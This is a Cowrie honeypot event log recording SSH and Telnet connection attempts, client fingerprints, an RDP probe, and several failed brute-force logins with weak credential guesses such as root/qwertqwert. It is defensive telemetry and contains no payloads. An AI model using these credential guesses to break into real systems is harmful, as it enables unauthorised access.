{"eventid":"cowrie.session.closed","duration":50.27432322502136,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:16.960485Z","src_ip":"152.42.224.71","session":"bf36a196aae2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36746,"dst_ip":"10.17.0.5","dst_port":23,"session":"edc4e297cf49","protocol":"telnet","message":"New connection: 152.42.224.71:36746 (10.17.0.5:23) [session: edc4e297cf49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:17.991200Z"}
{"eventid":"cowrie.session.closed","duration":38.18940329551697,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:29.185872Z","src_ip":"152.42.224.71","session":"17ecf6a90813","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.56742548942566,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:32.485585Z","src_ip":"152.42.224.71","session":"9a982ef97124","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42186,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7047d6c1ee7","protocol":"ssh","message":"New connection: 193.32.162.145:42186 (10.17.0.5:22) [session: c7047d6c1ee7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:47.820606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:47.831501Z","src_ip":"193.32.162.145","session":"c7047d6c1ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52402,"dst_ip":"10.17.0.5","dst_port":23,"session":"790bbe219c08","protocol":"telnet","message":"New connection: 152.42.224.71:52402 (10.17.0.5:23) [session: 790bbe219c08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:47.866271Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:48.004283Z","src_ip":"193.32.162.145","session":"c7047d6c1ee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:48.558797Z","src_ip":"193.32.162.145","session":"c7047d6c1ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":49000,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4353c86c23e","protocol":"ssh","message":"New connection: 37.233.85.71:49000 (10.17.0.5:22) [session: c4353c86c23e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:48.844908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:48.850084Z","src_ip":"37.233.85.71","session":"c4353c86c23e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:48.954769Z","src_ip":"37.233.85.71","session":"c4353c86c23e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertqwert","message":"login attempt [root/qwertqwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:49.272029Z","src_ip":"37.233.85.71","session":"c4353c86c23e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:49.667061Z","src_ip":"193.32.162.145","session":"c7047d6c1ee7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:50.379061Z","src_ip":"37.233.85.71","session":"c4353c86c23e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43558,"dst_ip":"10.17.0.5","dst_port":23,"session":"c552491e6c7a","protocol":"telnet","message":"New connection: 152.42.224.71:43558 (10.17.0.5:23) [session: c552491e6c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:05:58.924710Z"}
{"eventid":"cowrie.session.closed","duration":53.3462553024292,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:06:11.337314Z","src_ip":"152.42.224.71","session":"edc4e297cf49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51016,"dst_ip":"10.17.0.5","dst_port":23,"session":"60f9a4bb126f","protocol":"telnet","message":"New connection: 152.42.224.71:51016 (10.17.0.5:23) [session: 60f9a4bb126f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:06:15.780117Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51004,"dst_ip":"10.17.0.5","dst_port":23,"session":"b356ff645a2d","protocol":"telnet","message":"New connection: 152.42.224.71:51004 (10.17.0.5:23) [session: b356ff645a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:06:17.043346Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51008,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b58f0313610","protocol":"telnet","message":"New connection: 152.42.224.71:51008 (10.17.0.5:23) [session: 4b58f0313610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:06:20.566744Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37800,"dst_ip":"10.17.0.5","dst_port":23,"session":"1966f2abe36b","protocol":"telnet","message":"New connection: 152.42.224.71:37800 (10.17.0.5:23) [session: 1966f2abe36b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:06:37.704422Z"}
{"eventid":"cowrie.session.closed","duration":54.328994035720825,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:06:42.195141Z","src_ip":"152.42.224.71","session":"790bbe219c08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37802,"dst_ip":"10.17.0.5","dst_port":23,"session":"f576bc07ee8a","protocol":"telnet","message":"New connection: 152.42.224.71:37802 (10.17.0.5:23) [session: f576bc07ee8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:06:43.572602Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37814,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb439b4e9b37","protocol":"telnet","message":"New connection: 152.42.224.71:37814 (10.17.0.5:23) [session: eb439b4e9b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:06:43.971132Z"}
{"eventid":"cowrie.session.closed","duration":27.203580856323242,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:06:44.246825Z","src_ip":"152.42.224.71","session":"b356ff645a2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.77767372131348,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:06:44.702262Z","src_ip":"152.42.224.71","session":"c552491e6c7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49088,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bd04ae6d85d","protocol":"telnet","message":"New connection: 152.42.224.71:49088 (10.17.0.5:23) [session: 4bd04ae6d85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:06:55.300622Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45422,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5b744b00756","protocol":"telnet","message":"New connection: 152.42.224.71:45422 (10.17.0.5:23) [session: d5b744b00756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:06.698267Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":51710,"dst_ip":"10.17.0.5","dst_port":22,"session":"436d6b72811e","protocol":"ssh","message":"New connection: 103.122.221.179:51710 (10.17.0.5:22) [session: 436d6b72811e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:08.025373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:08.030176Z","src_ip":"103.122.221.179","session":"436d6b72811e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:08.287196Z","src_ip":"103.122.221.179","session":"436d6b72811e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1975","message":"login attempt [root/1975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:09.067162Z","src_ip":"103.122.221.179","session":"436d6b72811e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45426,"dst_ip":"10.17.0.5","dst_port":23,"session":"80a407c0c7e4","protocol":"telnet","message":"New connection: 152.42.224.71:45426 (10.17.0.5:23) [session: 80a407c0c7e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:09.146783Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:10.327037Z","src_ip":"103.122.221.179","session":"436d6b72811e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.32687950134277,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:11.106878Z","src_ip":"152.42.224.71","session":"60f9a4bb126f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45438,"dst_ip":"10.17.0.5","dst_port":23,"session":"92224c107426","protocol":"telnet","message":"New connection: 152.42.224.71:45438 (10.17.0.5:23) [session: 92224c107426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:13.190263Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45448,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7cbb5b3bec8","protocol":"telnet","message":"New connection: 152.42.224.71:45448 (10.17.0.5:23) [session: c7cbb5b3bec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:13.718885Z"}
{"eventid":"cowrie.session.closed","duration":62.12212538719177,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:22.688722Z","src_ip":"152.42.224.71","session":"4b58f0313610","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52054,"dst_ip":"10.17.0.5","dst_port":23,"session":"75b7b7b9a170","protocol":"telnet","message":"New connection: 152.42.224.71:52054 (10.17.0.5:23) [session: 75b7b7b9a170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:26.746273Z"}
{"eventid":"cowrie.session.closed","duration":49.26107716560364,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:26.965411Z","src_ip":"152.42.224.71","session":"1966f2abe36b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.006375551223755,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:29.578886Z","src_ip":"152.42.224.71","session":"f576bc07ee8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":55712,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8bf76b09f86","protocol":"ssh","message":"New connection: 167.172.81.52:55712 (10.17.0.5:22) [session: b8bf76b09f86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:31.783389Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:31.789074Z","src_ip":"167.172.81.52","session":"b8bf76b09f86","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:31.798007Z","src_ip":"167.172.81.52","session":"b8bf76b09f86","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45436,"dst_ip":"10.17.0.5","dst_port":23,"session":"e254a2803133","protocol":"telnet","message":"New connection: 152.42.224.71:45436 (10.17.0.5:23) [session: e254a2803133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:39.420128Z"}
{"eventid":"cowrie.session.closed","duration":44.81887650489807,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:40.119384Z","src_ip":"152.42.224.71","session":"4bd04ae6d85d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60314,"dst_ip":"10.17.0.5","dst_port":23,"session":"a20439a9f8f7","protocol":"telnet","message":"New connection: 152.42.224.71:60314 (10.17.0.5:23) [session: a20439a9f8f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:48.519400Z"}
{"eventid":"cowrie.session.closed","duration":70.73012948036194,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:54.701147Z","src_ip":"152.42.224.71","session":"eb439b4e9b37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.00780916213989,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:07:54.726612Z","src_ip":"152.42.224.71","session":"c7cbb5b3bec8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.57961416244507,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:05.726024Z","src_ip":"152.42.224.71","session":"80a407c0c7e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48096,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6c938797139","protocol":"telnet","message":"New connection: 152.42.224.71:48096 (10.17.0.5:23) [session: d6c938797139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:06.295067Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":41110,"dst_ip":"10.17.0.5","dst_port":22,"session":"8389a0e1404e","protocol":"ssh","message":"New connection: 193.32.162.145:41110 (10.17.0.5:22) [session: 8389a0e1404e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:07.271101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:07.274989Z","src_ip":"193.32.162.145","session":"8389a0e1404e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:07.397052Z","src_ip":"193.32.162.145","session":"8389a0e1404e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty123","message":"login attempt [solv/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:07.756720Z","src_ip":"193.32.162.145","session":"8389a0e1404e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.02586388587952,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:08.772032Z","src_ip":"152.42.224.71","session":"75b7b7b9a170","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:08.865265Z","src_ip":"193.32.162.145","session":"8389a0e1404e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48112,"dst_ip":"10.17.0.5","dst_port":23,"session":"c021476e6dbf","protocol":"telnet","message":"New connection: 152.42.224.71:48112 (10.17.0.5:23) [session: c021476e6dbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:11.859773Z"}
{"eventid":"cowrie.session.closed","duration":49.449787616729736,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:28.869818Z","src_ip":"152.42.224.71","session":"e254a2803133","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.695277214050293,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:30.990258Z","src_ip":"152.42.224.71","session":"d6c938797139","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51804,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3de401a639b","protocol":"telnet","message":"New connection: 152.42.224.71:51804 (10.17.0.5:23) [session: f3de401a639b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:32.289418Z"}
{"eventid":"cowrie.session.closed","duration":47.9670729637146,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:36.486361Z","src_ip":"152.42.224.71","session":"a20439a9f8f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":83.87741088867188,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:08:37.067543Z","src_ip":"152.42.224.71","session":"92224c107426","protocol":"telnet"}
